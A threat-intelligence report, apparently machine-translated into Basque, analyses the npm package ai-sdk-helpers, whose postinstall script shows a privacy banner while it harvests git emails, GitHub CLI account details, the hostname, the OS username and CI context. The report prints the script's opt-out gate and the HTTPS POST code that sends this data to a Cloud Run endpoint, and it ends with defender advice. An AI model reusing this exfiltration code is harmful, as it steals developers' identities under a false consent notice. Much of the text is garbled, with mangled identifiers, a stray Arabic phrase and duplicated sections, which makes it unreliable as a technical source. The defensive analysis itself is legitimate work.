TL; DR
npm pakete bakarra, ai-sdk-laguntzaileak, Vercel AI SDK-rako ekoizpen-tresna gisa aurkezten da, kostuen jarraipena, hornitzaileen ordezko zerbitzua eta streaming laguntzaileak eskainiz.
Instalazio-garaiko script-a deskribapen-pankarta leundu batekin irekitzen da, diagnostiko anonimoak, iturburu-koderik, tokenik edo kredentzialik ez dela transmitituko aginduz, bat errespetatuz DO_NOT_TRACK aukera baztertzea eta telemetria-politika orrialde baterako esteka.
Script berak garatzailearen git identitatea, GitHub CLI konfigurazioa, makinaren hostname-a, sistema eragilearen erabiltzaile-izena, lan-direktorioa eta CI hornitzailea irakurtzen ditu ondoren.
Datu horiek JSON gisa bidaltzen dira Google Cloud Run amaiera-puntu batera, eta horrek argi eta garbi bat ez dator bat adierazitako telemetria-politikaren eta bildutako benetako eremuen artean.
Paketea hogeita bi bertsiotan argitaratu zen 83 segundoko eztanda bakarrean, eta instalazio-skripta bytez byte berdina da markatutako bertsio guztietan.
Gure taldeak berrikusi dituen zortzi bertsioetatik zazpi pipeline ML sailkatzaileak ez ditu erabakigarriak eman, baimen-banner estiloak telemetria legitimoa dirudielako.
Sailkatzen dugu. ai-sdk-helpers instalazio-garaian garatzaileen identitatea biltzean eta exfiltrazioan oinarrituta gaiztotzat jo.
Larritasuna: altua.
Instalazioaren anatomia.
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } instalazio osteko automatikoki exekutatzen da npm instalatu, paketearen iragarritako kodea inportatu baino lehen. Script-a scripts/postinstall.js instalazio-garaiko portaera guztia bertan bizi da.
Iruzkin bloke batekin eta pribatutasunaz arduratzen den kode irekiko proiektu baten erregistroan idatzitako exekuzio-ohar batekin irekitzen da:
>ai-sdk-helpers instalatzen duzunean, ingurunearen bateragarritasun-egiaztapen azkar bat egiten dugu eta diagnostiko anonimoak jakinarazten ditugu… Datuak guztiz anonimoak dira: zure plataforma, Node bertsioa eta zure makinaren identifikatzailearen hash unidirekzionala biltzen ditugu. Ez da inoiz iturburu-koderik, tokenik edo kredentzialik transmititzen.
Fitxategiko lehen kode exekutagarria den aukera-baztertzeko ate funtzional bat ere konektatzen du:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Ate hau lehenengo lotzeak gainerakoa adostasun gisa irakurtzea eragiten du: ezartzen duen garatzaile bat `D_EZ_JARRAITU` Instalazioa isilean osatzen du eta paketeak konbentzioa errespetatzen duela ondorioztatzen du. Errespetatutako bazterketa erreala da. Ezartzen ez duen edonorentzat behean deskribatutako bilduma da ateak irekitzen dituena — ez oharrak izendatzen duen "plataforma, Node bertsioa eta hash unidirekzionala" estuagoa.
Ate horren azpian, script-ak deskribapen hori baino askoz haratago doan karga bat muntatzen du.
- *Gt identitatea.* rkonpontzekoScmIdentitatea()` buruak `~.gitconfig`,`~.config/git/config`,eta uneko proiektuaren `.`it/config`,`[ analizatzen duzer]` ekzioa, eta konfiguratutako balioa itzultzen du commit posta elektronikoa. Konfigurazio fitxategi batek ez badu posta elektronikorik ematen, `G`-ra itzultzen daT_AUTOR_EMAIL`,`GT_COMMITTER_EMAIL`,eta `EAIL` Ingurune aldagaiak. Funtzioaren gaineko docstring batek irakurketa "pertsona beraren jabetzako makinen artean (adibidez, ordenagailu eramangarria + CI) instalazioak desduplikatzeko" modu gisa markatzen du — garatzaile bakoitzeko identifikatzaile egonkor bat behar duen helburu adierazia, eta hori commit posta elektronikoko hornigaiak.
- *GtHub kontua.* r`solveGitHubIdentity()` buruak `~.config/gh/hosts.yml` eta `~.config/gh/hosts.yaml` GitHub CLI-k garatzaile batek autentifikatzen duenean idatzitako konfigurazio fitxategia — eta regex bidez ateratzen du `uer:` eta `egai:` eremuak. Fitxategi horrek GitHub OAuth tokena ere gordetzen du; script-aren regex-ak erabiltzaile-izena eta posta elektronikoaren lerroak zehazki zuzentzen ditu eta ez du tokena ateratzen. Beraz, dibulgazio-banner-aren "ez da tokenik... transmititzen" baieztapena literalki egia da eremu horretarako, inguruko kontu-identifikatzaileak irakurri eta bidaltzen diren bitartean.
- *Hst eta CI hatz-marka.* Gidoiak gero `o` biltzen du.hostname()`,`o.userInfo().username`,Node bertsioa, plataforma eta arkitektura, `pocess.cwd()`,eta zortzi hornitzaileren (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite eta bi CI generikoren) ingurune-aldagaiak egiaztatuz ebatzitako CI-hornitzaile etiketa bat. Hornitzaileen zerrenda script-ak exekutatzea espero duen tokiaren inbentario gisa irakurtzen da — shell interaktiboak eta eraikuntza automatizatua pipelines berdin.
Hauek guztiak `d bakarrean biltzen diraagnostikoak objektua, garatzaile bakoitzeko eremuak `i baten azpian bildutaentitate ey eta `r peko ostalariaren datuakdenbora-tarte eta `cntext` eys, ondoren serializatu eta transmititu:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Erantzuna baztertu eta errore guztiak irentsi egiten dira — iruzkin batek dioenez, “telemetriak ez du inoiz instalazioa hautsi behar”. Amaierako puntuaren ostalariaren izenak Google Cloud Run zerbitzu bat kodetzen du `e`-n.soka-mendebalde1` eskualdea.
Hutsunea da istorioa. Banderrak hiru datu-kategoria izendatzen ditu: plataforma, Nodoaren bertsioa, makina-identifikatzailearen hasha. Kargak garatzailearen benetako git-a bidaltzen du. commit posta elektronikoa, GitHub erabiltzaile-izena eta posta elektronikoa, makinaren ostalari-izena eta sistema eragilearen kontuaren izena, proiektuaren bidea eta CI ingurunea. *p bat identifikatzen duten eremuakpertsona eta haien kontuak* dibulgazioak baztertzen dituen eremuak, zehazki.
README-k beste aldetik datorren markoa indartzen du. Bere "Telemetria" atalak anonimotasun aldarrikapena errepikatzen du eta `D` hitza lotzen du._EZ_JARRAITU` o `cnsoledonottrack.com`,benetako komunitatearen orrialdea, aukera-baztertzeko konbentzioa dokumentatzen duena — pribatutasun-iturri aitortua hartuta standard oharra ohikoa balitz bezala irakurtzeko.
Timeline
Pakete bakarreko aurkikuntza da hau, argitalpen-historia oso labur eta trinkoa duena. Ez dago aste anitzeko kanpaina-arkurik jarraitzeko — bertsio-tarte osoa makina-abiaduran bultzatu zen.
| Noiz (UTC) | Gertaera |
|---|---|
| 2026-06-03 20:31:20 | Lehen bertsioa (0.1.0) npm-n argitaratua. |
| 2026-06-03 20:31:20 – 20:32:43 | 22 bertsio guztiak (0.1.0 من خلال 1.4.2) 83 segundoko eztanda automatizatu batean argitaratua. |
| 2026-06-04 | Zortzi bertsio detekzio-seinaleek markatu dituzte; eskuzko analisiak instalazio-garaiko identitate-bilketa eta -esfiltrazioa baieztatzen du. Paketea npm-n aktibo zegoen analisi-unean. |
22 bertsio semantikotan zeharreko 83 segundoko leihoa bera portaera-adierazle bat da: bertsio-eskailera (`01.0`,`01.1`,… `14.2`)aktiboki mantentzen den proiektu baten gainazala aurkezten du, bertsio-historiarekin batera, script bidezko exekuzio bakarrean sortua. Instalazio-script-a ez da aldatzen eskailera horretan zehar — ikus behean.
Konpromisoaren adierazleak
Instalazio-denborako karga berdina da argitaratutako bertsio-tarte osoan. A `dff` f `sripts/postinstall.js` 0 bertsioaren artean2.1` 1. bertsioa4.2` ez du desberdintasunik itzultzen; portaera hatz-marka finko bat da, ez karga ebolutibo bat.
Sarea
22 bertsio semantikotan zeharreko 83 segundoko leihoa bera portaera-adierazle bat da: bertsio-eskailera (`01.0`,`01.1`,… `14.2`)aktiboki mantentzen den proiektu baten gainazala aurkezten du, bertsio-historiarekin batera, script bidezko exekuzio bakarrean sortua. Instalazio-script-a ez da aldatzen eskailera horretan zehar — ikus behean.
Konpromisoaren adierazleak
Instalazio-denborako karga berdina da argitaratutako bertsio-tarte osoan. A `dff` f `sripts/postinstall.js` 0 bertsioaren artean2.1` 1. bertsioa4.2` ez du desberdintasunik itzultzen; portaera hatz-marka finko bat da, ez karga ebolutibo bat.
Sarea
| Adierazlea | Role |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | JSON karga duten HTTPS POST eskaerak jasotzen dituen exfiltrazio-puntuko puntua. Google Cloud Run-en ostatatutakoa. europe-west1 eskualdean. |
Amu azpiegitura
| Adierazlea | Role |
|---|---|
ai-sdk.guide | "AI SDK Gida" egilearen identitatea babesten duen paketearen hasierako orria eta gune aktiboa. |
ai-sdk.guide/telemetry | Instalazio-garaiko dibulgazio-oharrean aipatutako telemetria-gidalerroaren URLa. |
hello@ai-sdk.guide | Egilearen helbide elektronikoa deklaratu da package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Paketeak deklaratutako iturburu-biltegia. |
Instalazio garaian irakurritako fitxategiak
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[zer]` mail
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `egaixo
Portaera-sinadurak
- – m `pinstalatu ook Node script multzo bat deitzea
- – bazterketa atea (`A`_SDK_LAGUNTZAILEAK_TELEMETRY_DISABLED`,`D_EZ_JARRAIPENA`)pribatutasun ezaugarri gisa aurkeztua, identitatea bildu aurretik
- – JSON objektu baten HTTPS POST tbound, git helbide elektronikoa, GitHub identitatea, hostname-a, sistema eragilearen erabiltzaile-izena, cwd-a eta CI etiketa dituena.
- – instalazio-gidoi berdin-berdina azkar argitaratutako bertsio-eskailera batean zehar
Aitortza eta Behatutako Portaera
Paketearen eta erregistroko metadatuen erregistroaz haragoko ezer ez dugu egozten.
Erregistroaren npm mantentzailea kontua da `aielsimon,`a helbidearekiniel@vigilance.security`.Erregistroak posta elektroniko hori egiaztatu gabe gisa zerrendatzen du eta kontuaren iturburu-kontroleko identitatea egiaztatu gabe gisa. `pckage.json`,bereizita, egilea “AI SDK Gida` gisa aurkezten duello@ai-sdk.guide>`”`a-ren hasierako orri batekin-sdk.gida` eta iturburu-biltegi bat `g baten azpianthub.com/ai-sdk-guide` erakundea. Argitalpen kontuaren posta elektroniko domeinua (`vigilance.security`)eta pakete barruko egilearen identitatea (`a-sdk.gida`)domeinu desberdinak dira.
`A`-sdk.gida` ite martxan dago eta erantzuten du, eta `/elemetria ath-k ebazten du — amu-identitatea esteka hil baten ordez web presentzia eskuragarri batek babesten du, eta horrek paketearen markoaren sinesgarritasuna areagotzen du.
**Behatutako gaitasuna.** Instalazio garaian, paketeak garatzailearen identitatea eta kontuaren konfigurazio fitxategiak irakurtzen ditu, ostalariaren eta CI ingurunearen hatz-markak hartzen ditu eta emaitza operadoreak kontrolatutako amaiera-puntu batera bidaltzen du, datu-multzo estuago eta anonimoago bat deskribatzen duen ohar bat bistaratzen duen bitartean. Portaera hau deskribatzen dugu; ez dugu horretarako motiborik aldarrikatzen. Paketea ebaluatzen duten irakurleek —argitaratze-identitatea ezagutzen duen edozein alderdi barne— adierazitako datu-fluxuen eta benetako datuen arteko desadostasun behagarria aztertu beharko lukete.
Eragina, joerak eta defendatzaileentzako orientabideak
Nor dago agerian. Instalatzen duen edonork ai-sdk-laguntzaileak — zuzenean edo menpekotasun trantsizional gisa — bilduma makina horretan exekutatzen du. Abiarazlea delako instalazio osteko, iragarritako liburutegi-kodea ez da inoiz inportatu behar datu-fluxua gertatzeko; instalazioa bakarrik nahikoa da. Balio handiko inguruneak garatzaileen lan-estazioak dira, git identitate konfiguratua eta GitHub CLI autentifikatua dutenak, eta CI exekutoreak, non script-aren CI hornitzailearen detekzioak bilduma build-aren barruan exekutatzea espero dela adierazten duen. pipelinebaita ordenagailu eramangarrietan ere.
Zer agerian uzten duen. Ez aplikazio sekretuak kasu orokorrean — karga honetan zentratzen da identitatea: garatzailearen commit posta elektronikoa, haien GitHub kontuaren izena eta posta elektronikoa, makinaren eta kontuaren izenak eta proiektuaren bidea. Hori aurretiazkoa dacisPaketea nork instalatu duen, zein makinatan, zein biltegitan eta zein CI sistemaren azpian erakusten duen mapa. Erakunde batentzat, erregistro horietako gutxi batzuek batera hartuta, zein ingeniarik eta zein eraikuntza-sistemek atera duten mendekotasuna zerrendatuko lukete —jarraipen-jarduera zehatzago baten aitzindari gisa erabilgarria, nahiz eta pakete honen portaera bilketan eta transmisioan gelditzen den.
Joera: telemetria estalki gisa. Garatzaileentzako tresna legitimoek instalazio-diagnostiko anonimizatuak biltzen dituzte, eta hori errespetuz egiteko konbentzioak — dibulgazio-oharra, EZ_JARRAITU ohorea, bazterketa-bandera, politika-URL bat — ondo ezagunak dira. ai-sdk-laguntzaileak lau konbentzio horiek guztiak fideltasunez erreproduzitzen ditu eta identitatea biltzeko erabiltzen ditu. Baimen-banner baten, uko egiteko aukera baten edo pribatutasun-politikako esteka baten presentzia ez da pakete bat fidagarria denik frogatzen; kontrol horiek imitatzea merkea da. Egiaztapen fidagarri bakarra kodeak benetan zer irakurtzen duen eta nora bidaltzen duen da.
Ontziratze honek eragin neurgarria du sailkapen automatizatuan ere. Gure bertsio guztietan pipeline berrikusitako instalazio-gidoiaren hizkuntza arrunteko iruzkinak, egituratutako eremu-izenek eta ohiko aukera-baztertzeko ateak telemetria arrunt gisa kalifikatu ziren: zortzietatik zazpi itzuli ziren inconclusive ML sailkatzailetik, gaiztoa izan beharrean. Anbiguotasuna ebazten duen seinalea ez dago prosan — scriptak irekitzen dituen fitxategi espezifikoetan dago (~/.gitconfig, ~/.config/gh/hosts.yml) eta bidaltzen duen helmugara. Berrikusle batek, automatizatu edo gizaki batek, dibulgazioa irakurri eta bertan gelditzen bada, ondorio okerra lortuko du; erabakia datu-fluxuaren gertaeretatik etorri behar da.
Defendatzaileentzako jarraibideak:
- Script-ak lehenespenez desgaituta instalatu — npm instalazioa –ignore-script-ak, edo ezarri ez ikusi-gidoiak=egia in .npmrc eta egiaztatutako eraikuntza-urratsak esplizituki exekutatu. Honek neutralizatzen du instalazio osteko-bilketa orokorra abiarazi zuen.
- Ez hartu aukeraketa-kontrolak konfiantza-seinale gisa. EZ_JARRAITU check edo "telemetria politika" estekak ez dizu ezer esaten script batek atea ezarrita ez dagoenean biltzen dituen datuei buruz.
- Irakurri instalazio-hook-a AI ekosistemaren laguntza-paketeak hartu aurretik. Vercel AI SDK espazioa helburu azkar eta fidagarria da; instalazio osteko ukitzen duena. ~/.gitconfig or ~/.config/gh/ seinale argia da, inguruko iruzkinak nola idatzita dauden kontuan hartu gabe.
- Eraikuntza-garaiko irteera kontrolatu. HTTPS POST irteera bat zehar npm instalatu, batez ere hodeiko funtzio-muturreko puntu berri batera, sare-geruzan ikus daiteke eta detekzio-puntu sendoa da CI inguruneetarako.
- Kontuz bertsio konprimituen eskailerekin. Instalazio-skript aldaezin batekin segundo gutxitan agertzen den pakete batek mantentze-lanen historia fabrikatu bat aurkezten du.





